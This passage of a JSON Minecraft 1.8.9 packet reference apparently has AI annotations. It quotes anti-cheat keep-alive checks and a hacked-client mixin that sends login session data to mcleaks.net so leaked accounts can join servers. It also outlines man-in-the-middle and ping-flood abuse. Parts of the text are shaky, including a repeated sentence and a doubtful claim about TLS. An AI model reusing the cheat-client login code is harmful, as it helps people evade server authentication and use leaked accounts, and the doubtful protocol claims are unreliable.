}\n\n    @Override\n    public void onPacketSend(PacketSendEvent event) {\n        if (event.getPacketType() == PacketType.Play.Server.KEEP_ALIVE) {\n            keepalives.add(new WrapperPlayServerKeepAlive(event).getId());\n        }\n    }\n\n    @Override\n    public void onPacketReceive(PacketReceiveEvent event) {\n        if (event.getPacketType() == PacketType.Play.Client.KEEP_ALIVE) {\n            final long id = new WrapperPlayClientKeepAlive(event).getId();\n\n            for (long keepalive : keepalives) {\n                if (keepalive == id) {\n                    // Found the ID, remove stuff until we get to it (to stop very slow memory leaks)\n                    Long data;\n                    do {\n                        data = keepalives.poll();\n                    } while (data != null && data != id);\n\n                    return;\n                }\n            }\n\n            if (flag(V.write(verbose()).slong(id)) && shouldModifyPackets()) {\n                event.setCancelled(true);\n                player.onPacketCancel();\n            }\n        }\n    }\n}\n// NOTE (AI): The queue pruning doubles as a memory guard: only ids the server actually sent are ever accepted.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/badpackets/BadPacketsO.java",
       "variations": "Hydro's KeepAliveTracker and Frequency's ConnectionManager implement the same echo matching; only Grim validates and cancels the reply."
      },
      {
       "name": "KeepAliveAdapter + KeepAliveFrequency (NoCheatPlus)",
       "found_in": [
        "Updated-NoCheatPlus-NoCheatPlus"
       ],
       "purpose": "Limits keep-alive reply frequency and records last keep-alive timing for the god-mode and moving checks.",
       "how_it_works": "ProtocolLib adapter on both keep-alive directions: the receiving side always updates lastKeepAliveTime (even when the check is disabled, because fight.godmode depends on it) and runs the KeepAliveFrequency check, which cancels the reply when the frequency exceeds the configured limits; the sending side records the outgoing id so the expected-reply model stays consistent.",
       "detects": "Keep-alive spam, timer manipulation that shows up as impossible reply frequency, and the desync that ping-spoofing produces.",
       "detailed_code": "// ===== FILE: Updated-NoCheatPlus-NoCheatPlus, NCPCompatProtocolLib/src/main/java/fr/neatmonster/nocheatplus/checks/net/protocollib/KeepAliveAdapter.java =====\n/*\n * This program is free software: you can redistribute it and/or modify\n *   it under the terms of the GNU General Public License as published by\n *   the Free Software Foundation, either version 3 of the License, or\n *   (at your option) any later version.\n *\n *   This program is distributed in the hope that it will be useful,\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *   GNU General Public License for more details.\n *\n *   You should have received a copy of the GNU General Public License\n *   along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\npackage fr.neatmonster.nocheatplus.checks.net.protocollib;\n\nimport java.util.Arrays;\n\nimport org.bukkit.entity.Player;\nimport org.bukkit.plugin.Plugin;\n\nimport com.comphenix.protocol.PacketType;\nimport com.comphenix.protocol.events.ListenerPriority;\nimport com.comphenix.protocol.events.PacketEvent;\n\nimport fr.neatmonster.nocheatplus.NCPAPIProvider;\nimport fr.neatmonster.nocheatplus.checks.CheckType;\nimport fr.neatmonster.nocheatplus.checks.net.KeepAliveFrequency;\nimport fr.neatmonster.nocheatplus.checks.net.NetConfig;\nimport fr.neatmonster.nocheatplus.checks.net.NetData;\nimport fr.neatmonster.nocheatplus.players.DataManager;\nimport fr.neatmonster.nocheatplus.players.IPlayerData;\n\n/**\n * Limit keep alive packet frequency, set lastKeepAliveTime (even if disabled,\n * in case fight.godmode is enabled).\n * \n * @author asofold\n *\n */\npublic class KeepAliveAdapter extends BaseAdapter {\n\n    /** Dummy check for bypass checking and actions execution. */\n    private final KeepAliveFrequency frequencyCheck = new KeepAliveFrequency();\n\n    public KeepAliveAdapter(Plugin plugin) {\n        super(plugin, ListenerPriority.LOW, PacketType.Play.Client.KEEP_ALIVE, PacketType.Play.Server.KEEP_ALIVE);\n        this.checkType = CheckType.NET_KEEPALIVEFREQUENCY;\n        // Add feature tags for checks.\n        if (NCPAPIProvider.getNoCheatPlusAPI().getWorldDataManager().isActiveAnywhere(CheckType.NET_KEEPALIVEFREQUENCY)) {\n            NCPAPIProvider.getNoCheatPlusAPI().addFeatureTags(\"checks\", Arrays.asList(KeepAliveFrequency.class.getSimpleName()));\n        }\n        NCPAPIProvider.getNoCheatPlusAPI().addComponent(frequencyCheck);\n    }\n\n    @Override\n    public void onPacketReceiving(final PacketEvent event) {\n        try {\n            if (event.isPlayerTemporary()) return;\n        } \n        catch(NoSuchMethodError e) {}\n        final long time = System.currentTimeMillis();\n        final Player player = event.getPlayer();\n        if (player == null) {\n            counters.add(ProtocolLibComponent.idNullPlayer, 1);\n            event.setCancelled(true);\n            return;\n        }\n        // Always update last received time.\n        final IPlayerData pData = DataManager.getPlayerDataSafe(player);\n        if (pData == null) return;\n        final NetData data = pData.getGenericInstance(NetData.class);\n        recordKeepAlivePacketDetails(event, data, time);\n        data.lastKeepAliveTime = time;\n        final NetConfig cc = pData.getGenericInstance(NetConfig.class);\n\n        // Run check(s).\n        // KeepAlive model: outgoing server ids are recorded in onPacketSending; matching replies are expected.\n        // TODO: Better modeling of actual packet sequences (flying vs. keep alive vs. request/ping).\n        // TODO: Better integration with god-mode check / trigger reset ndt.\n        if (frequencyCheck.isEnabled(player, pData) \n            && frequencyCheck.check(player, time, data, cc, pData)) {\n            event.setCancelled(true);\n        }\n    }\n\n    private void recordKeepAlivePacketDetails(final PacketEvent event, final NetData data, final long time) {\n        final KeepAlivePacketInfo info = KeepAlivePacketInfo.read(event.getPacket());\n        data.recordKeepAlivePacket(time, info.idAvailable, info.id, info.idType, info.longCount, info.intCount,\n                event.isAsync(), Thread.currentThread().getName());\n    }\n\n    @Override\n    public void onPacketSending(PacketEvent event) {\n        final Player player = event.getPlayer();\n        if (player == null) {\n            return;\n        }\n        final IPlayerData pData = DataManager.getPlayerDataSafe(player);\n        if (pData == null) {\n            return;\n        }\n        final KeepAlivePacketInfo info = KeepAlivePacketInfo.read(event.getPacket());\n        pData.getGenericInstance(NetData.class).recordOutgoingKeepAlivePacket(System.currentTimeMillis(),\n                info.idAvailable, info.id, info.idType, info.longCount, info.intCount,\n                event.isAsync(), Thread.currentThread().getName());\n    }\n}\n// NOTE (AI): NCP also shares lastKeepAliveTime with the god-mode check, so the keep-alive stream doubles as a damage-timing clock.",
       "code_source": "Updated-NoCheatPlus-NoCheatPlus, NCPCompatProtocolLib/src/main/java/fr/neatmonster/nocheatplus/checks/net/protocollib/KeepAliveAdapter.java",
       "variations": "Frequency's ConnectionManager keeps the same last-sent-time map but only computes ping; NCP adds frequency limits and actions."
      },
      {
       "name": "KeepAliveTracker (Hydro)",
       "found_in": [
        "Incognitolol-Hydro"
       ],
       "purpose": "Tracks the keep-alive round trip as the player's latency clock, feeding ping data to every other check.",
       "how_it_works": "On the OUT keep-alive, stores the id with a send timestamp in an expected map. On the IN reply, looks up the id, removes it and computes keepAlivePing as the receive timestamp minus the send timestamp, setting the acceptedKeepAlive flag. The ping value is displayed in the /hydro debug command and feeds the ping-based exclusions.",
       "detects": "Ping spoofing is exposed because the computed ping diverges from the transport-level expectation; the tracker itself is data, not a flagger.",
       "detailed_code": "// ===== FILE: Incognitolol-Hydro, src/main/java/integral/studios/hydro/model/tracker/impl/KeepAliveTracker.java =====\npackage integral.studios.hydro.model.tracker.impl;\n\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientKeepAlive;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerKeepAlive;\nimport integral.studios.hydro.model.tracker.Tracker;\nimport integral.studios.hydro.model.PlayerData;\nimport it.unimi.dsi.fastutil.longs.Long2LongArrayMap;\nimport it.unimi.dsi.fastutil.longs.Long2LongMap;\nimport lombok.Getter;\n\n@Getter\npublic class KeepAliveTracker extends Tracker {\n    private final Long2LongMap expectedKeepAlives = new Long2LongArrayMap();\n\n    private boolean acceptedKeepAlive;\n\n    private long keepAlivePing;\n\n    public KeepAliveTracker(PlayerData playerData) {\n        super(playerData);\n    }\n\n    @Override\n    public void registerIncomingPreHandler(PacketReceiveEvent event) {\n        if (event.getPacketType() == PacketType.Play.Client.KEEP_ALIVE) {\n            WrapperPlayClientKeepAlive keepAlive = new WrapperPlayClientKeepAlive(event);\n\n            long key = keepAlive.getId();\n            long timestamp = event.getTimestamp();\n\n            if (expectedKeepAlives.containsKey(key)) {\n                keepAlivePing = timestamp - expectedKeepAlives.remove(key);\n                acceptedKeepAlive = true;\n            }\n        }\n    }\n\n    @Override\n    public void registerOutgoingPreHandler(PacketSendEvent event) {\n        if (event.getPacketType() == PacketType.Play.Server.KEEP_ALIVE) {\n            WrapperPlayServerKeepAlive serverKeepAlive = new WrapperPlayServerKeepAlive(event);\n\n            expectedKeepAlives.put(serverKeepAlive.getId(), event.getTimestamp());\n        }\n    }\n}\n// NOTE (AI): Hydro also ships BadPacketsE and BadPacketsF, which flag spoofed and duplicate keep-alive ids on top of this tracker.",
       "code_source": "Incognitolol-Hydro, src/main/java/integral/studios/hydro/model/tracker/impl/KeepAliveTracker.java",
       "variations": "Frequency and Tecnio's ConnectionTracker use the identical map-and-measure pattern; Hydro exposes the value to its GUI and checks."
      },
      {
       "name": "ConnectionManager (Frequency)",
       "found_in": [
        "ElevatedDev-Frequency"
       ],
       "purpose": "Converts keep-alive and transaction echoes into a measured ping that every check reads for latency exemptions.",
       "how_it_works": "TickManager sends the OUT keep-alive and stores the id with a timestamp; the incoming processor calls onKeepAlive when the reply arrives. ConnectionManager looks up the recorded send time for that id and stores the difference as keepAlivePing. PingSpoofA/B and the lag exemptions then compare this keep-alive ping against the transaction ping.",
       "detects": "Ping-spoof and timer cheats: a keep-alive ping that disagrees with the transaction ping is the flag condition in PingSpoofA.",
       "detailed_code": "// ===== FILE: ElevatedDev-Frequency, src/main/java/xyz/elevated/frequency/data/impl/ConnectionManager.java =====\npackage xyz.elevated.frequency.data.impl;\n\nimport lombok.RequiredArgsConstructor;\nimport xyz.elevated.frequency.data.PlayerData;\n\nimport java.util.Map;\nimport java.util.Optional;\n\n@RequiredArgsConstructor\npublic final class ConnectionManager {\n    private final PlayerData playerData;\n\n    public void onTransaction(final short actionNumber, final long now) {\n        final Optional<Long> entry = this.getTransactionTime(actionNumber);\n\n        entry.ifPresent(time -> playerData.getTransactionPing().set(now - time));\n    }\n\n    public void onKeepAlive(final int identification, final long now) {\n        final Optional<Long> entry = this.getKeepAliveTime(identification);\n\n        entry.ifPresent(time -> playerData.getKeepAlivePing().set(now - time));\n    }\n\n    public Optional<Long> getTransactionTime(final short actionNumber) {\n        final Map<Short, Long> entries = playerData.getTransactionUpdates();\n\n        if (entries.containsKey(actionNumber)) return Optional.of(entries.get(actionNumber));\n\n        return Optional.empty();\n    }\n\n    public Optional<Long> getKeepAliveTime(final int identification) {\n        final Map<Integer, Long> entries = playerData.getKeepAliveUpdates();\n\n        if (entries.containsKey(identification)) return Optional.of(entries.get(identification));\n\n        return Optional.empty();\n    }\n}\n// NOTE (AI): The same manager serves the transaction stream, which is how Frequency detects ping spoofing as a keep-alive-versus-transaction divergence.",
       "code_source": "ElevatedDev-Frequency, src/main/java/xyz/elevated/frequency/data/impl/ConnectionManager.java",
       "variations": "Hydro's KeepAliveTracker is the same pattern; Frequency pairs it with the transaction clock, which Hydro handles in a separate tracker."
      }
     ]
    }
   },
   "wiki_notes": [
    "The server kicks the client if it does not respond to a keep-alive within 15 seconds, and the client disconnects with a timeout if the server sends none for 20 seconds.",
    "The vanilla server generates the keep-alive ID from a system-dependent time in milliseconds.",
    "MCP 1.8.9 S00PacketKeepAlive implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleKeepAlive; wire serde is readPacketData/writePacketData via readVarIntFromBuffer.",
    "1.8.9 callers: NetHandlerPlayServer.update sends new S00PacketKeepAlive (line 152): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/network/NetHandlerPlayServer.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S00PacketKeepAlive/",
   "mcp_path": "net/minecraft/network/play/server/S00PacketKeepAlive.java",
   "group": "play-client",
   "logic_classes": [
    "NetHandlerPlayServer"
   ]
  },
  {
   "id": "S00PacketServerInfo",
   "hex": "0x00",
   "dec": 0,
   "dir": "CLIENTBOUND",
   "state": "STATUS",
   "name": "Server Status",
   "desc": "Responds to C00PacketServerQuery with the server's status as a JSON string (MOTD, players, version, favicon, mod info).",
   "tags": [
    "status",
    "server",
    "ping"
   ],
   "fields": [
    {
     "name": "jsonResponse",
     "type": "String (JSON)",
     "desc": "JSON-encoded ServerStatusResponse with version, players, description, favicon"
    }
   ],
   "encoding": [
    [
     "JSON Response",
     "String",
     "JSON ServerStatusResponse serialized to string"
    ]
   ],
   "mcp": [
    "NetHandlerStatusClient.handleServerInfo()"
   ],
   "handler": "INetHandlerStatusClient",
   "notes": "The JSON response includes: version (name + protocol number), players (max + online + optional sample list), description (MOTD ChatComponent), and optionally favicon (base64-encoded PNG with 'data:image/png;base64,' prefix). For modded servers, may include Forge mod info.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "The STATUS-state reply to C00PacketServerQuery. NetHandlerStatusServer.processServerQuery answers with `sendPacket(new S00PacketServerInfo(this.server.getServerStatusResponse()))`; the payload is one String holding the full ServerStatusResponse JSON: version name and protocol number, online/max player counts with an optional sample list, the MOTD as a serialized ChatComponent, an optional base64 favicon data URI, and the Forge mod list on modded servers. It is the only clientbound STATUS packet that carries data; S01PacketPong carries only a timestamp echo."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerStatusClient.handleServerInfo is reached through the anonymous INetHandlerStatusClient that OldServerPinger installs per ping. It stores the parsed ServerStatusResponse into the ServerData entry (serverMOTD, gameVersion, playerList), records the current system time, and immediately sends C01PacketPing with that timestamp. The connection is then driven toward close: S01PacketPong returns, the latency is computed, and the channel closes with \"Finished\". RealmsServerStatusPinger uses the same handler shape for the Realms list."
     },
     {
      "h": "Why clients touch it",
      "p": "None of the 8 reference clients touches it. Every corpus hit for S00PacketServerInfo is a net/minecraft vanilla file (OldServerPinger, EnumConnectionState registration, INetHandlerStatusClient, the packet class, RealmsServerStatusPinger, NetHandlerStatusServer). The reason is structural: the STATUS handshake runs before the module system exists, mc.thePlayer is null, and the 8 clients dispatch module events only in the PLAY state. Server detection in these clients (Hypixel checks, brand sniffing) happens later via ServerData after the list entry is filled by the vanilla handler, or in PLAY state via S02PacketChat."
     },
     {
      "h": "Exploit surface",
      "p": "There is no timing or state abuse available to a client here: the server builds the response, the client renders it. The interesting abuse runs the other direction. A malicious server can stuff the JSON with oversized favicon data (bandwidth cost per ping), hostile chat JSON, or a protocol number far from 47 to force the incompatibility screen. Vanilla 1.8.9 rate-limits nothing on processServerQuery, which is why proxy plugins and BungeeCord fronts exist to absorb ping floods. Anti-cheats have no stake in the STATUS state; the packet is invisible to movement checks."
     }
    ],
    "overview": "The STATUS-state server info reply. All 8 reference clients are byte-identical vanilla here: the corpus contains zero module files for this packet because the STATUS handshake runs before any module system loads. Server detection that these clients do perform happens later, in PLAY state.",
    "server_handling": "NetHandlerStatusServer.processServerQuery responds to every C00PacketServerQuery with `new S00PacketServerInfo(this.server.getServerStatusResponse())`. getServerStatusResponse caches the JSON string until the next tick; favicon and player-sample data are rebuilt on the server tick. There is no per-connection rate limit in the vanilla handler; a flood of queries simply gets a flood of responses, which is why ping-protection plugins and proxy fronts intercept the STATUS state.",
    "protocol_notes": "Wire format: one String (VarInt length prefix + UTF-8) containing the JSON. The protocol number inside version.protocol must match the client's protocol (47 for 1.8.9) or the client shows an incompatibility screen before the MOTD renders. Ordering: the server sends S00 only in reply to the query; the client then sends C01PacketPing; S00 and S01 are not required to be adjacent, but vanilla always answers them in order. The favicon is a data URI ('data:image/png;base64,...') so the JSON length cap of 32767 bytes applies to the whole response.",
    "anticheat_landscape": "None. The STATUS state precedes encryption, authentication, and world state, so no anti-cheat measures this packet. The practical constraints are plugin-side: ping limits (per-IP query caps), MOTD/favicon validation, and protocol-version gating. A client module gains nothing by intercepting this packet, and none of the 8 clients does.",
    "modules": [],
    "client_variations": "All 8 clients ship the stock 1.8.9 handler tree unchanged: identical OldServerPinger anonymous handler, identical EnumConnectionState registration at clientbound id 0, identical RealmsServerStatusPinger. No client has forked any of these files.",
    "related": [
     "C00PacketServerQuery",
     "C01PacketPing",
     "S01PacketPong"
    ],
    "anticheat": {
     "overview": "The STATUS-state server info reply is invisible to server-side anticheats: it predates encryption and world state, and the corpus shows only registration and wrapper plumbing. Artemis maps the packet in its repository and wraps PacketStatusOutServerInfo for its packet library, Negativity lists SERVER_INFO in its packet type registry, and NoCheatPlus keeps deprecated protect-clients MOTD config constants that never became checks. Nothing client-controlled flows through the response, so there is no detection surface.",
     "checks": [
      {
       "name": "Status packet registration and wrapper (Artemis)",
       "found_in": [
        "artemisac-artemis-minecraft-anticheat"
       ],
       "purpose": "Registers PacketStatusServerInfo in Artemis's packet repository and wraps the raw status response so the library can read the packet stream.",
       "how_it_works": "PacketRepository maps SERVER_STATUS + 1 to PacketStatusServerInfo.class and HardcodeMap binds the NMS name PacketStatusOutServerInfo to that interface. The wrapper class PacketStatusServerInfoServer extends GPacket and implements ReadableBuffer, giving the status packet a typed slot in the library.",
       "detects": "No detection logic. The wrapper exists so STATUS-state traffic is fully typed; no Artemis check subscribes to it.",
       "detailed_code": "// ===== FILE: artemisac-artemis-minecraft-anticheat, ac.artemis.packet.spigot/src/main/java/cc/ghast/packet/wrapper/packet/status/PacketStatusServerInfoServer.java =====\npackage cc.ghast.packet.wrapper.packet.status;\n\nimport ac.artemis.packet.protocol.ProtocolVersion;\nimport cc.ghast.packet.buffer.ProtocolByteBuf;\nimport ac.artemis.packet.spigot.wrappers.GPacket;\nimport cc.ghast.packet.wrapper.packet.ReadableBuffer;\n\nimport java.util.UUID;\n\npublic class PacketStatusServerInfoServer extends GPacket implements ReadableBuffer {\n\n    public PacketStatusServerInfoServer(UUID player, ProtocolVersion version) {\n        super(\"PacketStatusOutInfoServer\", player, version);\n    }\n\n\n    @Override\n    public void read(ProtocolByteBuf byteBuf) {\n\n    }\n}\n\n// NOTE (AI): The wrapper is registry plumbing. Artemis never reads the JSON payload of this packet in any check.",
       "code_source": "artemisac-artemis-minecraft-anticheat, ac.artemis.packet.spigot/src/main/java/cc/ghast/packet/wrapper/packet/status/PacketStatusServerInfoServer.java",
       "variations": "Negativity's PacketType lists SERVER_INFO (\"OutServerInfo\") alongside its proxy-side ServerInfo model, and NoCheatPlus carries deprecated PROTECT_CLIENTS_MOTD_ACTIVE and PROTECT_CLIENTS_MOTD_ALLOWALL constants in ConfPaths. Neither inspects the response."
      }
     ]
    }
   },
   "wiki_notes": [
    "The JSON response has the shape version {name, protocol}, players {max, online, sample [{name, id}]}, description text component, and favicon data URI; players, description and favicon are all optional, and an omitted players object displays as ??? in the server list.",
    "The favicon must be a 64x64 PNG encoded as base64 with a data:image/png;base64, prefix or the client will not render it, and sample player names are shown in the hover tooltip in order.",
    "If the client receives a malformed response with a missing or wrongly typed field it closes the socket and falls back to attempting a legacy pre-1.7 ping.",
    "MCP 1.8.9 S00PacketServerInfo implements Packet<INetHandlerStatusClient> dispatching to INetHandlerStatusClient.handleServerInfo; wire serde is readPacketData/writePacketData via readStringFromBuffer.",
    "1.8.9 callers: NetHandlerStatusServer.processServerQuery sends new S00PacketServerInfo (line 42): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/server/network/NetHandlerStatusServer.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S00PacketServerInfo/",
   "mcp_path": "net/minecraft/network/status/server/S00PacketServerInfo.java",
   "group": "status-client",
   "logic_classes": [
    "NetHandlerStatusServer"
   ]
  },
  {
   "id": "S01PacketEncryptionRequest",
   "hex": "0x01",
   "dec": 1,
   "dir": "CLIENTBOUND",
   "state": "LOGIN",
   "name": "Encryption Request",
   "desc": "Requests the client to enable encryption by sending the server's RSA public key, a verify token (random challenge), and server ID for Mojang session auth.",
   "tags": [
    "login",
    "authentication",
    "encryption",
    "security"
   ],
   "fields": [
    {
     "name": "serverId",
     "type": "String",
     "desc": "Server ID for Mojang session auth (empty string in 1.8.9)"
    },
    {
     "name": "publicKey",
     "type": "byte[] (DER-encoded)",
     "desc": "Server's RSA public key for encrypting the shared secret"
    },
    {
     "name": "verifyToken",
     "type": "byte[] (4 random bytes)",
     "desc": "Random challenge bytes the client must encrypt and return"
    }
   ],
   "encoding": [
    [
     "Server ID",
     "String",
     "Usually empty for auth"
    ],
    [
     "Public Key Length",
     "VarInt",
     "Length of DER-encoded RSA public key"
    ],
    [
     "Public Key",
     "byte[]",
     "Server's RSA public key in DER format"
    ],
    [
     "Verify Token Length",
     "VarInt",
     "Length of verify token"
    ],
    [
     "Verify Token",
     "byte[]",
     "4 random bytes for challenge-response"
    ]
   ],
   "mcp": [
    "NetHandlerLoginClient.handleEncryptionRequest()"
   ],
   "handler": "INetHandlerLoginClient",
   "notes": "After receiving this, the client generates a random AES shared secret, encrypts it + the verify token with the server's public key, and sends them back in C01PacketEncryptionResponse. Also authenticates with Mojang's session server using the serverId hash.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "The LOGIN-state RSA challenge. NetHandlerLoginServer sends it once the client has identified itself with C00PacketLoginStart: `new S01PacketEncryptionRequest(this.serverId, this.server.getKeyPair().getPublic(), this.field_147330_e)`. It carries the server's DER-encoded RSA public key, a random 4-byte verify token, and a server id that is empty in 1.8.9 because authentication hashes the key material itself. Receiving it is the client's first proof that the server runs online mode; offline-mode servers skip encryption and go straight to S02PacketLoginSuccess."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerLoginClient.handleEncryptionRequest generates a fresh AES secret (`CryptManager.createNewSharedKey()`), computes the server-hash `sha1(serverId + DER key + secret)` as a hex BigInteger, and calls the session service's joinServer with the profile, token, and hash. On success it replies with C01PacketEncryptionResponse(secret, key, token) and, via the packet's GenericFutureListener, calls `networkManager.enableEncryption(secret)` so the stream switches to AES/CFB8 on flush. Failure paths close the channel with disconnect.loginFailedInfo variants."
     },
     {
      "h": "Why clients touch it",
      "p": "No module in the original 8 clients references it; their full corpus for S01PacketEncryptionRequest is vanilla login plumbing: NetHandlerLoginClient, EnumConnectionState registration, INetHandlerLoginClient, the packet class, and NetHandlerLoginServer. LiquidSense Dev breaks that: MixinNetHandlerLoginClient intercepts handleEncryptionRequest and, when an MCLeaks alt session is active, replaces the Mojang session-server join with the mcleaks.net join-server API, then completes the handshake through ClientUtils.sendEncryption. November Recode 2.0 ships the stock handler with no corpus hit, consistent with a vanilla login path."
     },
     {
      "h": "Exploit surface",
      "p": "The crypto handshake is where session security lives, and it is unauthenticated: 1.8.9 validates neither the certificate chain nor key size, so a MITM proxy that terminates TLS and re-encrypts with its own key can read and rewrite everything, including harvesting the joinServer call. The verify token exists to prove the server holds the private key matching the public key it sent; a proxy must replay it. Server-side, a malicious server can only force a client to do a session-server round trip per join. No client-side abuse is present in the corpus. No client-side abuse is present in the original 8 clients; LiquidSense Dev's MCLeaks integration is the one client-side alteration, substituting the mcleaks.net auth endpoint for the Mojang session server on alt sessions."
     }
    ],
    "overview": "The LOGIN-state encryption challenge. Zero module hits in the original 8 clients; LiquidSense Dev instruments the handshake for MCLeaks alt accounts (MixinNetHandlerLoginClient plus ClientUtils.sendEncryption), and November Recode 2.0 has no corpus hit. Online-mode detection in the other clients is implicit (the packet simply never arrives on cracked servers) and happens in the vanilla handler, not in module code.",
    "server_handling": "NetHandlerLoginServer.func_147326_c runs the handshake: if the server is online-mode and the connection is not already local, it stores the verify token and sends S01PacketEncryptionRequest. The login state has a timeout; a client that never answers with C01PacketEncryptionResponse is dropped by the network read timeout. After processing the response, the server decrypts with its private key, verifies the token, joins the session server with the hashed server id, and only then proceeds to compression and S02PacketLoginSuccess.",
    "protocol_notes": "Wire layout: String serverId, then VarInt length + RSA public key bytes (X.509 DER), then VarInt length + verify token bytes (4 random bytes). The client's reply C01PacketEncryptionResponse carries the same key and token encrypted with the server's public key plus the AES secret encrypted the same way. Encryption starts after the response flushes, so the first encrypted frame is the next packet after C01. Compression, when enabled, is negotiated separately in login state via S03PacketEnableCompression.",
    "anticheat_landscape": "None. This packet predates world state and is identical for every legitimate client; the only players here are the session server and the Mojang account backend. For cracked servers the whole exchange disappears. The realistic threat model is impersonation of the server (unvalidated public key), which is a network-level problem, not a module-level one.",
    "modules": [
     {
      "name": "MixinNetHandlerLoginClient (MCLeaks login)",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Authenticate MCLeaks alt sessions during the login handshake by substituting the mcleaks.net join-server API for the Mojang session server.",
      "how_it_works": "@Inject on handleEncryptionRequest HEAD, cancellable, active only when MCLeaks.isAltActive(): generate a fresh AES secret, compute the server hash from serverId + public key + secret, POST {session, mcname, serverhash, server} to https://auth.mcleaks.net/v1/joinserver, close the channel on any failure, and on success call ClientUtils.sendEncryption and cancel the vanilla handler.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinNetHandlerLoginClient.java =====\n/*\n * LiquidBounce Hacked Client\n * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.\n * https://github.com/CCBlueX/LiquidBounce/\n */\npackage net.ccbluex.liquidbounce.injection.forge.mixins.network;\n\nimport com.google.gson.Gson;\nimport com.google.gson.JsonElement;\nimport net.ccbluex.liquidbounce.utils.ClientUtils;\nimport net.mcleaks.MCLeaks;\nimport net.mcleaks.Session;\nimport net.minecraft.client.network.NetHandlerLoginClient;\nimport net.minecraft.network.NetworkManager;\nimport net.minecraft.network.login.server.S01PacketEncryptionRequest;\nimport net.minecraft.util.ChatComponentText;\nimport net.minecraft.util.CryptManager;\nimport net.minecraftforge.fml.relauncher.Side;\nimport net.minecraftforge.fml.relauncher.SideOnly;\nimport org.spongepowered.asm.mixin.Final;\nimport org.spongepowered.asm.mixin.Mixin;\nimport org.spongepowered.asm.mixin.Shadow;\nimport org.spongepowered.asm.mixin.injection.At;\nimport org.spongepowered.asm.mixin.injection.Inject;\nimport org.spongepowered.asm.mixin.injection.callback.CallbackInfo;\n\nimport javax.crypto.SecretKey;\nimport java.io.BufferedReader;\nimport java.io.DataOutputStream;\nimport java.io.InputStreamReader;\nimport java.math.BigInteger;\nimport java.net.HttpURLConnection;\nimport java.net.InetSocketAddress;\nimport java.net.URL;\nimport java.nio.charset.StandardCharsets;\nimport java.security.PublicKey;\n\n@Mixin(NetHandlerLoginClient.class)\n@SideOnly(Side.CLIENT)\npublic class MixinNetHandlerLoginClient {\n\n    @Shadow\n    @Final\n    private NetworkManager networkManager;\n\n    @Inject(method = \"handleEncryptionRequest\", at = @At(\"HEAD\"), cancellable = true)\n    private void handleEncryptionRequest(S01PacketEncryptionRequest packetIn, CallbackInfo callbackInfo) {\n        if(MCLeaks.isAltActive()) {\n            final SecretKey secretkey = CryptManager.createNewSharedKey();\n            String s = packetIn.getServerId();\n            PublicKey publickey = packetIn.getPublicKey();\n            String s1 = (new BigInteger(CryptManager.getServerIdHash(s, publickey, secretkey))).toString(16);\n\n            final Session session = MCLeaks.getSession();\n            final String server = ((InetSocketAddress) this.networkManager.getRemoteAddress()).getHostName() + \":\" + ((InetSocketAddress) this.networkManager.getRemoteAddress()).getPort();\n\n            try {\n                final String jsonBody = \"{\\\"session\\\":\\\"\" + session.getToken() + \"\\\",\\\"mcname\\\":\\\"\" + session.getUsername() + \"\\\",\\\"serverhash\\\":\\\"\" + s1 + \"\\\",\\\"server\\\":\\\"\" + server + \"\\\"}\";\n\n                final HttpURLConnection connection = (HttpURLConnection) new URL(\"https://auth.mcleaks.net/v1/joinserver\").openConnection();\n                connection.setConnectTimeout(10000);\n                connection.setReadTimeout(10000);\n                connection.setRequestMethod(\"POST\");\n                connection.setRequestProperty(\"User-Agent\", \"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0\");\n                connection.setDoOutput(true);\n\n                final DataOutputStream outputStream = new DataOutputStream(connection.getOutputStream());\n                outputStream.write(jsonBody.getBytes(StandardCharsets.UTF_8));\n                outputStream.flush();\n                outputStream.close();\n\n                final BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n                final StringBuilder outputBuilder = new StringBuilder();\n\n                String line;\n                while((line = reader.readLine()) != null)\n                    outputBuilder.append(line);\n\n                reader.close();\n                final JsonElement jsonElement = new Gson().fromJson(outputBuilder.toString(), JsonElement.class);\n\n                if(!jsonElement.isJsonObject() || !jsonElement.getAsJsonObject().has(\"success\")) {\n                    this.networkManager.closeChannel(new ChatComponentText(\"Invalid response from MCLeaks API\"));\n                    callbackInfo.cancel();\n                    return;\n                }\n\n                if(!jsonElement.getAsJsonObject().get(\"success\").getAsBoolean()) {\n                    String errorMessage = \"Received success=false from MCLeaks API\";\n\n                    if(jsonElement.getAsJsonObject().has(\"errorMessage\"))\n                        errorMessage = jsonElement.getAsJsonObject().get(\"errorMessage\").getAsString();\n\n                    this.networkManager.closeChannel(new ChatComponentText(errorMessage));\n                    callbackInfo.cancel();\n                    return;\n                }\n            }catch(final Exception e) {\n                this.networkManager.closeChannel(new ChatComponentText(\"Error whilst contacting MCLeaks API: \" + e.toString()));\n                callbackInfo.cancel();\n                return;\n            }\n\n            ClientUtils.sendEncryption(networkManager, secretkey, publickey, packetIn);\n            callbackInfo.cancel();\n        }\n    }\n}\n// NOTE (AI): The mixin only diverts alt sessions; real accounts keep the vanilla joinServer path. The server hash is computed identically to vanilla, and sendEncryption completes the C01 exchange, so the handshake is wire-compatible.\n",
